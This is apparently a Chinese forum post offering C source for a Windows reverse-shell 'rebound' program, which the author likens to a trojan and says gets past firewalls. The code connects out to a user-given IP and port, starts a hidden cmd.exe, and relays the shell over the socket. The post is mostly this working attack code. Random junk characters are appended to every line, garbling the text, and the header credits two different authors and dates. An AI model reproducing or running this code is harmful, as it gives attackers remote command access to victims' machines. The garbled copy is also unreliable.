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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,Q:Ylc8  
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/* ============================== ~U"puEftbs  
Rebound port in Windows NT b/"&E'5-`\  
By wind,2006/7 "V|&s/9  
===============================*/ StZ GKY[Q  
#include mu`:@7+Yp  
#include NNDW)@p6z  
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#pragma comment(lib,"wsock32.lib") CNP!v\D  
[[ {L#  
void OutputShell(); t,H=;U#  
SOCKET sClient; O\0]o!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &q8oalh  
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void main(int argc,char **argv) d rRi<7 i  
{ W@S>#3,  
WSADATA stWsaData; nD#QC=}  
int nRet; W5a7HkM  
SOCKADDR_IN stSaiClient,stSaiServer; V&e 9?5@  
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if(argc != 3) "L ,)4v/J  
{ % \N52  
printf("Useage:\n\rRebound DestIP DestPort\n"); \; #T.@c5  
return; iwM$U( 9  
} J[0o 6  
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WSAStartup(MAKEWORD(2,2),&stWsaData); H 5\k`7R  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uUmkk  
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stSaiClient.sin_family = AF_INET; vT1StOx<V  
stSaiClient.sin_port = htons(0); iG+hj:5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k9Pwf"m|](  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g_8A1lt  
{ zH)M,+P  
printf("Bind Socket Failed!\n"); vU(uu:U9  
return; nev@ykP6  
} o,(]w kF  
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stSaiServer.sin_family = AF_INET; =o_Ua^mr  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]]"O)tWHj  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^qR2!fwm<  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,/%@:Fh4  
{ SHcFnxEAIH  
printf("Connect Error!"); ;zF3e&e(  
return; VA D9mS^~  
} <A~a|A-QFR  
OutputShell(); r3OR7f[  
} vIzREu|5  
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void OutputShell() Gn?NY}.S  
{ r%=}e++^%  
char szBuff[1024]; T5<851rH  
SECURITY_ATTRIBUTES stSecurityAttributes; 'GyO  
OSVERSIONINFO stOsversionInfo; u$M,&Om  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qnc?&f  
STARTUPINFO stStartupInfo; oeKVcVP|'&  
char *szShell; v~.nP} E^  
PROCESS_INFORMATION stProcessInformation; ?Sj >b   
unsigned long lBytesRead; 7oWT6Qa5  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); sV']p#HK0  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IoAG!cS  
stSecurityAttributes.lpSecurityDescriptor = 0; /8Wfs5N  
stSecurityAttributes.bInheritHandle = TRUE; u2 a#qU5*  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %noByq,?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6, ~Y(#  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VY1&YR}Y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,h<xL-  
stStartupInfo.wShowWindow = SW_HIDE; kN~:Bh$  
stStartupInfo.hStdInput = hReadPipe; #lDW?  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V9:Jz Q=?`  
' pN[H\Ia  
GetVersionEx(&stOsversionInfo); I5%#A/|z  
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switch(stOsversionInfo.dwPlatformId) C0`Bi:Ze  
{ V$?@ z>7  
case 1: D\H;_k8  
szShell = "command.com"; rWMG6+Scb  
break; Q\moR^>  
default: {VmJVO]S  
szShell = "cmd.exe"; gJFx#s0?6.  
break; 'W_u1l/  
} fHV%.25  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3QF/{$65!  
Ip_deP@  
send(sClient,szMsg,77,0); GZt L-   
while(1) OaH1xZNOC`  
{ \#(tI3  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &02I-lD4+  
if(lBytesRead) +x(~!33[G  
{ 0d|DIT#>?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =F<bAZ  
send(sClient,szBuff,lBytesRead,0); 7TU(~]Z  
} g15~+;33N  
else YQ-!>3/)-  
{ )W,.xP  
lBytesRead=recv(sClient,szBuff,1024,0); @{q:179w^  
if(lBytesRead<=0) break; cF V[k'F  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +Y! P VMF  
} Wc HL:38  
} y>! 8mDvZ  
nl)l:A+q8  
return; asc Y E  
}
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